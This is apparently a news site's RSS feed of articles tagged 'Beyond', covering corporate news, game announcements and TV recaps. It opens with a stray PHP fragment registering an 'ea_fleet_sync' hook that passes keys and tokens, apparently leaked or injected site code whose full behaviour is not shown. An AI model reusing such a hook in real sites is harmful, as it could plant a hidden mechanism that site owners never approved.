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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Beyond – Brief News https://briefnews.eu Latest World News. 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Tue, 20 Sep 2022 21:44:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Beyond – Brief News https://briefnews.eu 32 32 Beyond Meat suspends its chief operating officer effective immediately after he was arrested and charged with 3rd-degree battery for allegedly biting a man’s nose https://briefnews.eu/beyond-meat-suspends-its-chief-operating-officer-effective-immediately-after-he-was-arrested-and-charged-with-3rd-degree-battery-for-allegedly-biting-a-mans-nose/ https://briefnews.eu/beyond-meat-suspends-its-chief-operating-officer-effective-immediately-after-he-was-arrested-and-charged-with-3rd-degree-battery-for-allegedly-biting-a-mans-nose/#respond Tue, 20 Sep 2022 21:44:48 +0000 https://briefnews.eu/beyond-meat-suspends-its-chief-operating-officer-effective-immediately-after-he-was-arrested-and-charged-with-3rd-degree-battery-for-allegedly-biting-a-mans-nose/ Beyond Meat, plant based Jerky display

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  • Beyond Meat has suspended its COO after he was arrested and charged with 3rd-degree battery and terroristic threatening. 
  • Authorities said Doug Ramsey ripped "the flesh" off a man's nose after the two got into a small car accident. 
  • According to local news reports, Ramsey turned violent and threatened to kill the other driver.

Beyond Meat announced it has suspended its chief operating officer after police said he bit and ripped "the flesh" off a man's nose in a road rage incident that turned violent. 

Doug Ramsey, Beyond Meat's COO, and another man were found with "bloody faces" by police after witnesses say the two got into a minor car accident in a parking garage after a University of Arkansas football game on Saturday night, according to the local Fayetteville news affiliate KNWA. 

After the accident, Ramsey got out of his car and reportedly "punched through the back windshield of his victim's car," KNWA reported, citing a Washington County police report. 

The other man involved told police that Ramsey "pulled him close and started punching his body," KNWA said. 

According to the report, Ramsey bit the other driver's nose, "ripping the flesh on the tip of the nose." 

Beyond Meat COO Doug Ramsey's mugshot
Beyond Meat COO Doug Ramsey's mugshot.

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Witnesses told police they heard Ramsey "threaten to kill" the other driver, according to KNWA. Passengers in both men's cars got out and helped break up the fight. 

Insider confirmed that Washington County Police arrested Ramsey on one count of terroristic threatening and one count of third-degree battery. He has a court appearance scheduled for October 19.

In a statement, the plant-based meat company said that operations activities would be overseen on an interim basis by the company's senior vice president of manufacturing operations. 

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]]> https://briefnews.eu/beyond-meat-suspends-its-chief-operating-officer-effective-immediately-after-he-was-arrested-and-charged-with-3rd-degree-battery-for-allegedly-biting-a-mans-nose/feed/ 0 Nvidia ‘GeForce Beyond’: live coverage of RTX 4090 launch and more https://briefnews.eu/nvidia-geforce-beyond-live-coverage-of-rtx-4090-launch-and-more/ https://briefnews.eu/nvidia-geforce-beyond-live-coverage-of-rtx-4090-launch-and-more/#respond Tue, 20 Sep 2022 06:18:18 +0000 https://briefnews.eu/nvidia-geforce-beyond-live-coverage-of-rtx-4090-launch-and-more/ Nvidia is expected to announce the RTX 4090, the first GPU in its next generation of graphics cards today. This “GeForce Beyond” presentation is part of the larger GTC 2022 keynote, which will cover topics beyond just PC graphics. Nvidia CEO Jensen Huang is expected to address topics across the company’s line of cloud and AI services available to applications such as robotics and self-driving cars, as well as highlight the company’s work in powering the technology behind the metaverse.

It all kicks off at 8 a.m. PT today, so make sure to come here for the latest updates from Nvidia or watch the RTX 4090 event live.

This is a breaking story. Once the keynote begins, this page will continue to be updated live as more announcements and updates roll in from the event.

]]> https://briefnews.eu/nvidia-geforce-beyond-live-coverage-of-rtx-4090-launch-and-more/feed/ 0 Assassin’s Creed is going to feudal Japan, China, and beyond in 3 new games https://briefnews.eu/assassins-creed-is-going-to-feudal-japan-china-and-beyond-in-3-new-games/ https://briefnews.eu/assassins-creed-is-going-to-feudal-japan-china-and-beyond-in-3-new-games/#respond Sat, 10 Sep 2022 23:46:49 +0000 https://briefnews.eu/assassins-creed-is-going-to-feudal-japan-china-and-beyond-in-3-new-games/ Ubisoft devoted an entire stream segment to the Assassin’s Creed franchise at Ubisoft Forward 2022. The block saw the announcement of four projects coming from the series, including a mobile game, a new mainline title, an experience hub, and another flagship game coming alongside the rest.

Assassin’s Creed Codename Red – Reveal Trailer | Ubisoft Forward 2022

The largest of these announcements is the next mainline Assassin’s Creed game by Ubisoft Quebec, currently dubbed Assassin’s Creed: Codename Red. Like the recent flagship entries in the series, Codename Red is taking the globetrotting open-world series to a new country and culture with a feudal Japan setting. To top it all off, the main character of the game is a shinobi. Not too much else was said about the title and it does not have a firm release date.

A second Assassin’s Creed game is coming as well, though it’s a bit more mysterious. This one comes from Ubisoft Montreal with the assistance of Clint Hocking, an ex-LucasArts and Valve designer and director. Dubbed Assassin’s Creed: Project Hexe, the title only got a quicker teaser showing an Assassin’s Creed logo made out of twigs hanging in the woods. Ubisoft notes that the game isn’t a traditional installment of the series, but didn’t elaborate on how much of a departure it is.

Both of those titles will live inside Assassin’s Creed Infinity, a curious new project from Ubisoft. Project Infinity is a hub that’ll tie various games together, though it’s unclear how that works. Ubisoft did mention, however, that it’s looking into creating standalone multiplayer Assassin’s Creed titles, which would also live in the hub.

In addition to all of that, Ubisoft also showed off Assassin’s Creed: Project Jade. This entry in the series is a mobile game where players create their own assassins and explore an open-world set in ancient China. It’s a different project from another mobile Assassin’s Creed game announced during the show, which will be exclusive to Netflix.

No launch details have been given for the upcoming titles, but Ubisoft states that Infinity and the projects within it will launch “in the coming years.”

]]> https://briefnews.eu/assassins-creed-is-going-to-feudal-japan-china-and-beyond-in-3-new-games/feed/ 0 Bed Bath & Beyond names a longtime executive as its new interim CFO https://briefnews.eu/bed-bath-beyond-names-a-longtime-executive-as-its-new-interim-cfo/ https://briefnews.eu/bed-bath-beyond-names-a-longtime-executive-as-its-new-interim-cfo/#respond Tue, 06 Sep 2022 18:59:56 +0000 https://briefnews.eu/bed-bath-beyond-names-a-longtime-executive-as-its-new-interim-cfo/ Bed Bath & Beyond
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  • Bed Bath & Beyond named Laura Crossen as its new interim chief financial officer.
  • The former CFO Gustavo Arnal died on Friday after falling from a building.
  • Are you a Bed Bath & Beyond employee with a story to share? Email acain@insider.com and sjackson@insider.com. 

Laura Crossen has been named as the interim replacement for former Bed Bath & Beyond Chief Financial Officer Gustavo Arnal.

Arnal was found dead last Friday after he fell from a New York City building. Arnal and activist investor Ryan Cohen had recently been hit with a lawsuit alleging that they worked together in a "pump and dump" fraud scheme.

In a recent Securities Exchange Commission filing, Bed Bath & Beyond named Crossen as its "Interim Chief Financial Officer." The filing said that she previously worked as the company's senior vice president of finance and chief accounting officer. 

"As Interim Chief Financial Officer Ms. Crossen will be the Company's principal financial officer on an interim basis and will continue as the Company's principal accounting officer," the company's representatives wrote in the filing. Interim CEO Sue Gove signed the document.

Crossen will receive a base salary increase of $ 200,000, according to the filing. The executive's LinkedIn illustrates her long tenure in several prominent retail companies. Her profile lists her as having served as a vice president of financial management for the company since January 2001. Before she joined the Bed Bath & Beyond team, Crossen worked as the senior vice president of finance at dELIA's from 1998 and 2001. Prior to that, she was a national retail and consumer products group manager with Ernst & Young from 1991 and 1998.

Are you a Bed Bath & Beyond employee with a story to share? Email acain@insider.com and sjackson@insider.com. 

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]]> https://briefnews.eu/bed-bath-beyond-names-a-longtime-executive-as-its-new-interim-cfo/feed/ 0 Bed Bath & Beyond CFO identified as man who fell to his death from home on 18th floor of NYC Tribeca tower https://briefnews.eu/bed-bath-beyond-cfo-identified-as-man-who-fell-to-his-death-from-home-on-18th-floor-of-nyc-tribeca-tower/ https://briefnews.eu/bed-bath-beyond-cfo-identified-as-man-who-fell-to-his-death-from-home-on-18th-floor-of-nyc-tribeca-tower/#respond Sun, 04 Sep 2022 19:17:08 +0000 https://briefnews.eu/bed-bath-beyond-cfo-identified-as-man-who-fell-to-his-death-from-home-on-18th-floor-of-nyc-tribeca-tower/ Customer walks into Bed Bath & Beyond store
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  • A man who died after falling from a building in Manhattan was identified by police as Gustavo Arnal.
  • The Bed Bath & Beyond CFO fell from the 18th floor on Friday, the NYPD confirmed to Insider. 
  • The retailer recently announced plans to close 150 stores and cut a fifth of its workforce.

A man who died after falling from the 18th floor of an apartment building has been identified as the chief financial officer of Bed Bath & Beyond, the New York Post reported.

Gustavo Arnal, 52, fell from the 18th floor of the tower on Leonard Street in Manhattan's tony Tribeca neighborhood around noon Friday, the New York Police Department confirmed to Insider.

The New York Post reported, citing law-enforcement sources, that Arnal's wife was home at the time and that he "jumped" from the apartment without saying anything or leaving a note explaining.

Arnal joined Bed Bath & Beyond in 2020 after serving as Avon's finance chief for more than a year. Arnal had held a senior position at Walgreens Boots Alliance and Procter & Gamble before joining the cosmetics company.

Last month, Arnal sold about 42,000 shares in the retailer for about $ 1 million, according to MarketBeat.com. He also had been named in an insider trading and securities fraud lawsuit less than two weeks before his death, court documents show.

The death comes days after Bed Bath & Beyond announced plans to close about 150 stores and cut its workforce by a fifth in a bid to revive its fortunes.

The company told investors on a call on Wednesday that it would shift away from own-brands and start offering more labels and that it had secured loans from JPMorgan and Sixth Street Partners.

The retailer's shares have become a "meme stock" like GameStop and fluctuated considerably in recent months. The chief executive, Mark Tritton, was ousted in June and replaced by board member Sue Gove.

Bed Bath & Beyond and Arnal's family members did not immediately respond to Insider's request for comment. 

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]]> https://briefnews.eu/bed-bath-beyond-cfo-identified-as-man-who-fell-to-his-death-from-home-on-18th-floor-of-nyc-tribeca-tower/feed/ 0 Dancing on Ice branded ‘ludicrous’ as Myleene Klass is first voted off ‘Beyond ridiculous’ https://briefnews.eu/dancing-on-ice-branded-ludicrous-as-myleene-klass-is-first-voted-off-beyond-ridiculous/ https://briefnews.eu/dancing-on-ice-branded-ludicrous-as-myleene-klass-is-first-voted-off-beyond-ridiculous/#respond Sun, 24 Jan 2021 20:45:39 +0000 https://briefnews.eu/dancing-on-ice-branded-ludicrous-as-myleene-klass-is-first-voted-off-beyond-ridiculous/

After Lady Leshurr and Myleene Klass took to the ice to try and keep their place in the ITV skating contest, it was left up to the judges as to which star would remain on Dancing on Ice. However, following the skate-off, it was Myleene and pro partner Lukasz who were sent packing in emotional scenes.

But it’s fair to say the decision to send Myleene hasn’t sat well with a number of ITV viewers.

Several Dancing on Ice fans were left fuming that Myleene and Lady Leshurr were the two who faced the skate-off in the first place.

Taking to Twitter following the Dancing on Ice exit, one vented: “Ludicrous. Neither of them should even have been in the skate-off. Beyond ridiculous that Myleene is out. #DancingOnIce.”

A second echoed: “Travesty that Myleene was in the bottom though. Last week it should have been Jason [Donovan], this week it should have been Billie [Shepherd] #DancingOnIce.”

READ MORE: Dancing on Ice: Phillip Schofield distracts ITV viewers with outfit

A third added to the debate: “Myleene was not the worst tonight and didn’t deserve to be in the skate-off!! And now we’re deprived of Lucasz too #DOI.”

While a fourth added: “I don’t think anyone would have guessed Myleene would be out first. #DancingOnIce.”

Despite her early exit, Myleene remained gracious in defeat as she thanked Lukasz for their time together on the show.

And while her exit may have seemed premature to some, the leaderboard had hinted at a possible farewell after she failed to impress the judges earlier in the show.

Myleene’s departure was a result of all four judges unanimously voting to send Lady Leshurr through to the next round. 

But speaking to Holly Willoughby and Phillip Schofield following the decision, Myleene remained in high spirits. 

After receiving a standing ovation, Myleene said: “Can I just say, I couldn’t have done this obviously without Lukasz, without my family, without my friends.

“I mean, I’d never skated before and now I’ve got a skill I learnt in lockdown, who’d have thought it?” she added.

Myleene went onto mention how she’ll be hitting the ice rink once they open beyond lockdown with “a coffee” ready for her partner.

And signing off her farewell, the Dancing on Ice star continued: “To everybody, to all the skaters to everyone, to the whole team,

“It’s not been an easy production to put together in lockdown so – I feel really chuffed. It’s probably the most relaxed I’ve been in the whole competition.”

But which celebrity will be following in Myleene’s footsteps next week?

Dancing on Ice continues Sunday on ITV.

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]]> https://briefnews.eu/dancing-on-ice-branded-ludicrous-as-myleene-klass-is-first-voted-off-beyond-ridiculous/feed/ 0 Walking Dead: World Beyond Season 1 Finale Recap: Did It Kick ‘Asset’? https://briefnews.eu/walking-dead-world-beyond-season-1-finale-recap-did-it-kick-asset/ https://briefnews.eu/walking-dead-world-beyond-season-1-finale-recap-did-it-kick-asset/#respond Mon, 30 Nov 2020 04:32:51 +0000 https://briefnews.eu/walking-dead-world-beyond-season-1-finale-recap-did-it-kick-asset/ I’ll admit it right upfront: The Walking Dead: World Beyond made me eat my words. (Ketchup helped.) You may recall that after screening the premiere, I panned the second Walking Dead spinoff. And even at the end of Season 1, it could still get a little heavy-handed for my taste. But I’ll be damned if I hadn’t gotten pretty attached to the drama’s young protagonists. I even watched Sunday’s two-part finale largely from the edge of my seat. What made it so exciting? Read on…

‘NOTHING’S UNAVOIDABLE’ | In an early flashback in “The Deepest Cut,” the first episode of the double-header, Huck was urged by Elizabeth to hurry up and isolate the asset — Iris, we were led to believe — or the CR would do it for her. So Huck deliberately drove their truck off the road, leaving it with a flat that required her, Felix and the Bennett girls to trudge off in search of shelter. When walkers tangled in barbed wire happened upon them, Huck seized the opportunity to slash Felix’s leg and make it seem as if it had been cut in the scuffle. Upon taking refuge in a retirement home, she sucked up to Iris with all the subtlety of the office brown-noser. Oh, but don’t go in that particular room, Huck said. It’s… um… full of the bodies of oldies who had shot themselves in the head. Nope, not suspicious at all, that. Since there was no way that Felix could hike across the hilly terrain that stood between the gang and the facility at which the girls’ father was toiling, their guardian decided that he should stay behind, and they could pick him up on their way back to the campus colony. (As if.)

Instead, just as Iris was noticing all of the red flags that Huck was waving, Hope snuck away in the night with her, saying that Iris wouldn’t leave without Felix. Turned out, Hope had decoded the CR’s cipher, which revealed what a two-face Huck was and that everyone who wasn’t the asset was considered — gulp — expendable. While all of that was going on, Elton discovered Percy alive but barely. It was OK, said the version of Percy that was conscious, if only in Elton’s mind. He could leave the body to the walkers and save himself. Rather than do so, Elton fought the approaching empties and won. Afterwards, finding a walkie-talkie in Percy’s coat pocket, Elton managed to connect with Huck, only to have Percy knock the device out of his hand. Percy hadn’t been attacked by Silas, you see, he’d been shot — and “she’s the one that shot me.” With that, episode No. 1 concluded with Felix discovering that his gun was missing just as Hope pulled the weapon on Huck. Nice set-up!

the walking dead world beyond recap season 1 episode 10 finale‘YOU CAN HATE ME… AND I’LL LIVE WITH THAT’ | “In This Life” was full of flashbacks to Leo’s relationship with fellow researcher Lyla, who was apparently about as trustworthy as Huck. But she must have cared about the girls’ dad, at least a little, because ahead of Hope’s arrival at the facility, she nervously practiced the speech in which she was going to disclose that she’d told the CR what he’d said about Hope — basically, she’s a genius — and that they were about to be reunited for the sake of humanity. Toward the end of the hour, Leo stopped Lyla before she’d even begun her speech to share his suspicions about the CR military. What had become of Will’s scouting mission, for instance? And could they be sure that Dr. Abbott really left the facility to visit his sister? (Viewers know, but Leo doesn’t, that a zombified Dr. Abbott is among Lyla’s test subjects.) How could they be sure, mused the poor dupe, that the military wasn’t lying to them? He had an idea to achieve that end, but even as the season wrapped, we were left in the dark about what exactly it was.

Picking up where “The Deepest Cut” left off, Hope took aim at Huck and got her to admit that she was CR. Before the interrogation could go much further, walkers intervened, and Hope lost the firearm in the ensuing fracas. Afterwards, Huck revealed that Leo was never in danger and that the last two messages the girls had received had been from her. She’d assumed that Iris would try to talk Hope out of going after their father, then Huck and the isolated asset could have just taken off. Why did they have to make the trek at all? That was part of a master plan to get the asset to — wait for it — see the world in such a way that she understood the importance of her father’s work. (Hey, I didn’t say the show was perfect, just that I came to like it.) And all of this, Hope marveled, was about… her? “Kid,” Huck replied, “you have no idea who you are.” Folks with intellects like hers were going to be needed in the future — heck, if there was even going to be a future. The two were absolutely not cool; Hope even rejected Huck’s offer of Peeps. (That’s a major grudge right there.) But they banded together to hide when Felix and Iris caught up with them in the truck they’d repaired with supplies found in the retirement-home room that had supposedly been full of dead bodies. (Not sure, but I may have just reset my record for most exposition stuffed into a single sentence.)

the walking dead world beyond recap season 1 episode 10 finale‘YOU’RE NOT A MONSTER… YOU NEVER WERE’ | Meanwhile, because the characters on this show can’t seem to help bumping into one another in the middle of nowhere, Silas was reunited with Elton and… wait, wasn’t Percy dead? Hadn’t Silas killed him? Nope, Elton happily reported. Percy had just been almost executed by Huck. Just as the trio was about to set off to save Iris and Hope, who should roll up but the CR! The guys made it as far as the fence that stood between them and safety, but then Percy decided to play hero, staying behind since in his injured state he’d just slow them down and leave a trail of blood to boot. “No way,” Silas said more or less. “This is my hero moment.” He locked Percy and Elton on the exterior side of the gate, cut his hand and surrendered to the CR. (At least they didn’t, as I feared they would, shoot him on sight.)

Back at the house in which Huck and Hope were hiding, they were forced to reveal themselves to Iris and Felix, at which point all hell broke loose. Felix pulled a gun on his former pal, Hope blurted out that Huck was CR and that leaving was the only way that Felix and Iris would live, and ultimately, the ex-besties engaged in a brutal battle royale. By and by, Huck got the drop on Felix and would have killed him, however reluctantly, if Hope hadn’t threatened to shoot herself in the head. The whole point of Huck’s mission, Hope explained to Iris and Felix, had been to get her to the CR facility. “Turns out I’m smarter than I thought.” The situation defused, the sisters said a fraught goodbye before Huck left with the asset in tow. The following day, when Huck and Hope rendezvoused with Elizabeth’s chopper, Mommie Dearest made it clear that she knew about the “loose ends” her daughter had left untied. In the woods, Iris had no sooner gotten done telling Felix that Hope wasn’t the asset, it was the Bennett sisters together, than they ran into a whole mess of people, among them Will. The lovers had a lot of catching up to do!

So, what did you think of the finale? The show certainly ended Season 1 stronger than it began it, wouldn’t you say? Grade the two-parter in the poll below, then hit the comments with your reviews.

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]]> https://briefnews.eu/walking-dead-world-beyond-season-1-finale-recap-did-it-kick-asset/feed/ 0 The Walking Dead: World Beyond Recap: Where There’s Smoke, There’s Zombies https://briefnews.eu/the-walking-dead-world-beyond-recap-where-theres-smoke-theres-zombies/ https://briefnews.eu/the-walking-dead-world-beyond-recap-where-theres-smoke-theres-zombies/#respond Mon, 12 Oct 2020 05:31:38 +0000 https://briefnews.eu/the-walking-dead-world-beyond-recap-where-theres-smoke-theres-zombies/ As Sunday’s episode of The Walking Dead: World Beyond shed new light on Felix’s fraught past, the future of our young protagonists looked ever more like it was about to go up in smoke. That’s not a metaphor, either; with every step, they drew nearer to a perpetually raging fire surrounded by empties called the Blaze of (ha) Gory. Did anyone wind up getting burned? Read on.

‘YOU SHOULD BE SCARED EVERY SINGLE TIME YOU ARE OUTSIDE THOSE WALLS’ | As the hour began, Iris’ attempt to kill her first empty nearly got her killed. But only nearly. She and the zombie tumbled off of a concrete embankment, at which point, she promptly puked on it. Still, she couldn’t bring herself to dispatch the now-demobilized walker (prompting Hope to apologize to it as the gang left it behind). Later, Elton and Hope sensed in one another a kindred spirit, at least insofar as they were both pretty chill about the end of their species. At that point, Iris spotted in the distance smoke plumes from the Notorious B.O.G., which served almost as a beacon for the undead. Nonetheless, Iris was sure they’d get through it; Hope, apparently less so — she left behind an empty can of peaches stolen from Felix’s apartment to let him know which way they were headed.

While making tracks, the kids ran afoul of an empty whose head was abuzz with actual bees. When Elton stumbled, Silas found himself unable to bash the creature to save his friend. Thankfully, a little spray paint to the walker’s face bought them all enough time to escape. After the foursome holed up in a treehouse for the night, we got an even greater sense of just how broken Silas is when he couldn’t relax and have fun playing with Hope’s bowling ball, Big Mo, like everyone else. And just when he was already feeling crummy about not being able to save Elton, up moseyed that same bee-filled walker. Everything, in Silas’ mind, was his fault. Following a game of Monopoly and lights-out, Hope snuck out of the tree and, like her sister before her, nearly got killed trying to take out an empty. But she survived, then swore to secrecy Silas — the only person to notice her coming and going. BTW, she added, his mistake didn’t need to follow him around. (Of course, she said this even as she was being haunted by her memories of shooting Elton’s mother.)

the-walking-dead-world-beyond-recap-season-1-episode-2-blaze-of-glory‘SAY WHAT YOU WILL, BUT THEY HANDLE THEIR S–T’ | Chasing after the kids, Felix and Huck comforted themselves with the thought that, once the youngsters caught sight of the Blaze of Gory, they’d “be glad they still have a home to go back to.” (Ah, if they only knew… ) While traveling once-familiar streets, Felix flashed back to his youth — and his father’s discovery that he was gay. Though it had been Felix who’d been paying the bills, Dad coldly kicked him out. Eventually, he confided in Huck that he’d been at school the night the sky fell, and had run for two days to get home, to be with his folks at the end. Despite it being the apocalypse and all, they wouldn’t so much as open the door. Lord. Meanwhile, as daunting as the B.O.G. turned out to be, Iris insisted that she and her pals could get through it. Camped out overnight before attempting to do so, Hope and Elton did more gloomy bonding, with him explaining that the last of a species were called endlings — and that was what they were. So the message no one seemed to notice her spray-painting like a trail of breadcrumbs for Felix read, “We Were Here — the Endlings.”

When at last the quartet endeavored to make their way through the B.O.G., as well its thick smoke and endless walkers, they lost track of the sun and, therefore, the direction in which they were headed. Somehow, they made it to the other side — still with none of them killing a walker — only to discover that… crap! They were still in the B.O.G. Hot on their trail, Felix deduced from the clues Hope kept leaving that “obviously, one of them doesnt wanna do this.” Where had he snuck off to the night before? Huck wanted to know. “To kill my parents,” he replied. (Apparently, they’d still been housebound, albeit turned, right where he’d left them a decade earlier.) Back in the B.O.G., Elton floated the idea of someone sounding a nearby tornado siren — in effect, becoming bait, allowing everyone else to make it to the airfield on the far side of the area. And, erm, of course, that person would then, um, escape, too. That idea was so crazy, even Iris lost her nerve, prompting Hope to give her a pep talk. As everyone conked out for the night atop a bus, Hope snuck off, presumably to assuage her guilty conscience by sounding the alarm and drawing the masses of empties to her.

So, your thoughts on “The Blaze of Gory”? Felix’s backstory? Drop a comment below.

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]]> https://briefnews.eu/the-walking-dead-world-beyond-recap-where-theres-smoke-theres-zombies/feed/ 0 The Walking Dead: World Beyond Premiere Recap: Smells Like Teen Spirit https://briefnews.eu/the-walking-dead-world-beyond-premiere-recap-smells-like-teen-spirit/ https://briefnews.eu/the-walking-dead-world-beyond-premiere-recap-smells-like-teen-spirit/#respond Mon, 05 Oct 2020 08:05:28 +0000 https://briefnews.eu/the-walking-dead-world-beyond-premiere-recap-smells-like-teen-spirit/ Whether you’ve already read our reaction to The Walking Dead: World Beyond — spoiler alert: didn’t love it — now it’s your turn to weigh in. First, we’ll go over the densely-plotted premiere, then you can grade the episode in the poll beneath and write your own review in the comments. Ready or not, here we go.

‘WE’RE QUITE GOOD AT THIS, WHEREVER WE’RE FROM’ | Set a decade after the deceased began going on never-ending snack runs, The Walking Dead’s second spinoff quickly introduces us to the Bennett sisters. Artsy Iris (Aliyah Royale) is a perky, popular Tracy Flick type who dreams of herself as an empty — this show’s term for zombies. Brooding Hope (Alexa Mansour) is more rebellious, at least at first; as the series gets going, she stows away on a bus sent to welcome the Civil Republic Military’s Lt. Col. Elizabeth Kublek (Julia Ormond) in order to leave flowers on her mother’s grave and flip off the bigwig. Shortly, we meet a couple of the siblings’ peers, taciturn Silas (Hal Cumpston), notorious around the Nebraska U Campus Colony for — dun-dun-dun — “what he did in Omaha,” and Elton (Nicolas Cantu), a smartly-dressed dead ringer for a young Professor Plum.

When not squabbling over their differing opinions of the CR — Iris is all in on the mysterious organization for whom their scientist father Leo is working at an undisclosed location, Hope less skeptical than disdainful — the Bennett sisters check a cabinet in Dad’s study for secret messages that he’s not supposed to be sending them. So far, so good. They also busy themselves adjusting to their substitute guardian, security chief Felix (Nico Tortorella), whose boyfriend Will is in charge of protecting Leo. See what I mean about how densely-plotted this show is? Anyway, as Campus Colony prepares for Monument Day — a kind of Remembering Those We Lost holiday that’s the purported reason for Elizabeth’s visit — the girls receive an upsetting message from their father: “My safety is not assured.”

the-walking-dead-world-beyond-new premiere date trailer video‘LET’S SEE WHAT DISCOVERIES AWAIT US, SHALL WE?’ | In therapy with her so-terminally-ill-you-shouldn’t-get attached shrink, Iris is encouraged to open up to her sister about “the night the sky fell,” when a plane crash separated her and Leo from his wife and Hope. By and by, we’ll learn that Iris feels guilty about the fact that Hope had to see their mom eaten by empties. Only she hadn’t become an Unhappy Meal — Hope was keeping secret the fact that their mother had actually been shot by a pregnant woman they’d wanted to but hadn’t helped. In turn, Hope, startled by a blast behind her, had accidentally shot the pregnant woman. Got all that?

When the Bennett sibs finally see their dad’s latest message, Elton and Silas just happen to be in the room. To reassure the girls that their secret is safe, Elton reveals one of his own: He often sneaks out of the colony to search for something he lost. When Iris and Hope take the message to Felix, he says that they have no choice but to trust Will to protect Leo. Hope is beyond unsatisfied by that. The CR “are bad people, Iris,” she rails outside, “and they have our dad!” Overhearing, Elizabeth tries to inspire trust by giving the girls a coded map of their father’s location in upstate New York and saying that as much as they miss their father, she misses her daughter, a soldier in the CRM (Fear the Walking Dead’s Isabelle perhaps?). But the risk her offspring is taking makes her brave. They have to be brave “simply to exist now.”

The Walking Dead World Beyond Recap Season 1 Episode 1 Premiere Brave‘PLUS, I KNOW KARATE’ | After receiving another, even direr message from Pop — “It’s gone bad — don’t tell the Council, don’t tell Felix” — Iris challenges Elizabeth in her Monument Day speech, thoroughly tipping her hand, and insists to her sister that they have to travel the 1,100 miles by foot to help their dad. And sure, why not take Silas and Elton along? The latter’s looking for meaning, and the former doesn’t “want to be what everybody thinks I am here.” No sooner have the kids set off than Felix and fellow soldier Huck (Annet Mahendru) have gone after them. And it looks like the youngsters’ trip will be jolly good fun. Their first night out, Silas stumbles upon the very dinosaur horn for which Elton has been looking all this time. It had been supposed to be a gift for his little sister, but — wait for it — his expectant mother had been killed the night it all went bad! (Just to make sure we have no doubt whatsoever that the deceased is the woman Hope killed, Elton handily has a photo to show us.)

The following day, Iris reports to Hope that, being out in the world and living in the now, for once she hadn’t had the same dream. She’s even game to take on their first walker… sorry, empty. Back at the Campus Colony, the wall has been blown to smithereens, the place is overrun by walkers, and it appears that the CRM has laid waste to… well, everyone who hadn’t hit the road. As Elizabeth surveys the disaster area, wholly unmoved, a soldier informs her that they’ve looked everywhere and couldn’t find “her.” “Good,” she replies. Did she mean one of the Bennetts? Could Huck be her daughter? (Didn’t seem like it when they met.) Anyway, grade the premiere below, then hit the comments with your thoughts. Will you be tuning in again next week?

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]]> https://briefnews.eu/the-walking-dead-world-beyond-premiere-recap-smells-like-teen-spirit/feed/ 0 Walking Dead: World Beyond Review: Second Spinoff Is Undead on Arrival https://briefnews.eu/walking-dead-world-beyond-review-second-spinoff-is-undead-on-arrival/ https://briefnews.eu/walking-dead-world-beyond-review-second-spinoff-is-undead-on-arrival/#respond Mon, 21 Sep 2020 17:27:45 +0000 https://briefnews.eu/walking-dead-world-beyond-review-second-spinoff-is-undead-on-arrival/ When I mentioned to a colleague that I’d just watched the premiere of AMC’s second spinoff of The Walking Dead, World Beyond, he asked just one question: “Do you think there’s an audience for it?” And I had to admit, I do.

The series, which follows teenage sisters Iris (Aliyah Royale) and Hope (Alexa Mansour) as they trek from Nebraska to New York in search of their scientist father, is probably just right for younger viewers who are more interested in growing pains than zombie bites. It even has in shady CRM leader Elizabeth (Julia Ormond) a perfect stand-in for the ultimate JV antagonist, The Hunger Games’ President Snow.

the-walking-dead-world-beyond-review-amc spinoff crmBut do I like the show (which kicks off Sunday, Oct. 4, at 10/9c; Oct. 1 for AMC+ subscribers)? Based on the first episode, God, no. The siblings and their guy pals are yin and yang stereotypes written in what the kids in The Breakfast Club would’ve dismissed as “the simplest terms.” Future conflicts and revelations are telegraphed with all the subtlety of pianos being dropped on our heads. And at the end of the hour, I just didn’t care what happened to any of the main characters.

That said, yes, I’ll still watch. Groaning like a walker that’s gone too long between meals, but I will, because creators Scott M. Gimple and Matthew Negrete have shrewdly built into the limited series the promise of tantalizing intel about CRM, the enigmatic organization that has in its possession not only Iris and Hope’s dad but The Walking Dead’s Rick Grimes and Fear the Walking Dead’s Isabelle.

Will I like it, though? I suspect not. Those of us who tune in to the other two shows in the franchise have already been here, seen this — and we’ve seen it done with greater artfulness, efficacy and urgency. Adding this third series to the rotation, even temporarily, feels more than a little bit like beating an undead horse.

THE TVLINE BOTTOM LINE: Earnest and superficial, World Beyond is a bland reminder that you can’t spell zombie without zzz’s.

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